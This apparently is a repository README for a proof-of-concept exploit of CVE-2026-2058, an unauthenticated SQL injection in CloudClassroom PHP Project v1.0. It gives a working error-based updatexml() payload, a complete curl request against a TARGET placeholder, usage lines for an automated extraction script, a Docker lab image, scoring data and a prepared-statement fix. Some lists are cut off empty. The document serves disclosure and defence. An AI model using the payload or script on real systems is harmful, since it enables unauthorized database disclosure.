
Proof-of-concept exploit for CVE-2026-2058, a SQL injection in CloudClassroom PHP Project, with automated database enumeration and data extraction.
A SQL Injection vulnerability exists in the Post Query functionality of the CloudClassroom PHP Project (v1.0).
The vulnerability allows attackers to inject arbitrary SQL commands via the squeryx POST parameter, leading to database enumeration and data extraction.
This repository contains a Proof of Concept (PoC) exploit demonstrating how the vulnerability can be abused to extract sensitive data from the backend database.
| Field | Value |
|---|
| CVE | CVE-2026-2058 |
| Vulnerability Type | SQL Injection |
| CWE | CWE-89 |
| Affected Software | CloudClassroom PHP Project |
| Affected Version | 1.0 |
| Component | Post Query functionality |
| Attack Vector | Remote |
| Authentication Required | No |
| Impact | Database disclosure |
| Severity | High |
| Attack Pattern Reference | CAPEC-66 |
POST /postquerypublic
squeryx
The backend code directly concatenates user input into a SQL query without proper sanitization or parameterized queries.
Example vulnerable code:
$sql = "INSERT INTO query(Query, Eid) VALUES ('$tempsquery','$tempseid')";
Because $tempsquery is derived from user input, attackers can inject arbitrary SQL.
For testing and research purposes, a vulnerable Docker environment is available.
docker run -d --name cloudclassroom-lab -p 9292:80 bladscan/cloudclassroom-sqli:1.0
The vulnerability can be triggered using an error-based SQL injection technique leveraging the MySQL updatexml() function.
Example payload:
a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1
Example curl request:
curl -X POST http://TARGET/postquerypublic \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "gnamex=test" \
--data-urlencode "[email protected]" \
--data-urlencode "squeryx=a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1" \
--data-urlencode "update=Post Query!"
Expected response:
XPATH syntax error: '~cc_db~'
This repository includes a bash exploit that automatically:
chmod +x cloudclassroom_sqli_exploit.sh
./cloudclassroom_sqli_exploit.sh http://TARGET/postquerypublic
Example:
./cloudclassroom_sqli_exploit.sh http://192.168.1.10/postquerypublic
An attacker can:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L⚠️ Note: The NVD CVSS score differs from the CNA (VulDB) score due to different impact assessments.
The Exploit Prediction Scoring System (EPSS) estimates the probability that a vulnerability will be exploited in the wild.
| CVE | EPSS Probability | Percentile | Date |
|---|---|---|---|
| CVE-2026-2058 | 0.00028 | 7.62 % | 2026-03-01 |
Source: FIRST EPSS Dataset
Developers should:
Example secure implementation:
$stmt = $conn->prepare("INSERT INTO query(Query, Eid) VALUES (?, ?)");
$stmt->bind_param("ss", $tempsquery, $tempseid);
$stmt->execute();


This exploit is provided for educational and research purposes only.
The author is not responsible for misuse or damage caused by this code.
bl4dsc4n
Security Researcher